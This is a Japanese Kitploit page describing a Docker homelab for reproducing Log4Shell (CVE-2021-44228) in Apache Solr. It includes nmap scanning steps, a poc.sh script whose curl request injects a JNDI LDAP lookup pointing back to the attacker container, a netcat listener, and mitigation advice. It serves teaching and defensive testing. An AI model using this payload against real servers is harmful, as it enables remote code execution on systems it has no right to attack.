Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
homelab-CVE-2021-44228 — Log4j脆弱性ホームラボ | Kitploit
ツール/GitHubGitHub/ricardo354/homelab-cve-2021-44228
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubricardo354/homelab-cve-2021-44228

homelab-CVE-2021-44228

Log4j脆弱性ホームラボ

リポジトリを見る
41ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Homelab: Log4Shell (CVE-2021-44228) in Apache Solr

Docker による管理環境で、Apache Solr における Log4Shell 脆弱性の再現と学習を行います。

環境

  • ターゲット (solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) で、脆弱性のある Log4j バージョンが実行されています。
  • 攻撃者 (kali-lab): nmap、curl、netcat がプリインストールされた基本的な Kali Linux コンテナ。

ラボの起動方法

1. コンテナの起動

ターミナルで、バックグラウンドで環境を起動します:

root@kitploit:~
docker compose up -d --build

2. Kali(攻撃者コンテナ)に入る

root@kitploit:~
docker compose exec -it kali-lab /bin/bash

3. 内部ネットワークのマッピング

Kali コンテナ内で、自身のサブネットを確認し、Apache Solr の IP を見つけます:

root@kitploit:~
# 1. 自身の IP とネットマスクを確認
hostname -I

# 2. 内部ネットワークをスキャンしてターゲットの IP を見つける(Solr ポート: 8983)
# (下記のサブネットは前のコマンドで取得した IP に応じて置き換えてください)
nmap -p 8983 172.20.0.0/24


PoC(Proof of Concept)の実行

poc.sh スクリプトは、Solr の管理 API パラメータに JNDI ルックアップペイロードを注入します。

スクリプト (poc.sh)

root@kitploit:~
#!/usr/bin/env bash

if [ "$#" -lt 2 ]; then
    echo "使用方法: $0 <lhost> <rhost> [lport]"
    echo "例: $0 172.20.0.3 172.20.0.2 1389"
    exit 1
fi

KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"

echo "[*] ターゲット: $TARGET"
echo "[*] 攻撃者 (LDAP): $KALI ポート $PORT_KALI"
echo "[*] エクスプロイトを発射..."

curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"

実行

引き続き Kali 内で、スクリプトに実行権限を与え、正しい IP を指定して実行します:

root@kitploit:~
chmod +x poc.sh
./poc.sh <KALIのIP> <SOLRのIP> 1389

ここで何が起こっているのか? Solr はリクエストを処理し、指定されたポートで Kali の IP への LDAP 接続を試みます。スクリプトを実行する前に Kali でクイックリスナー(例:nc -lnvp 1389)を開いて、この接続試行を監視できます。


緩和策

Log4j 2 の脆弱性を修正するには:

  • アップデート: ライブラリを安全なバージョン(2.15.0 より上、または 2.17.1 より上)に移行する。
  • JVM Format Msg: バージョン 2.10 から 2.14.1 の間では、Java 起動時にフラグ -Dlog4j2.formatMsgNoLookups=true を追加してルックアップを無効にする。
  • クラスの削除: アップデートできない場合は、手動で jar から問題のあるクラスを削除する:
root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

ツールをダウンロード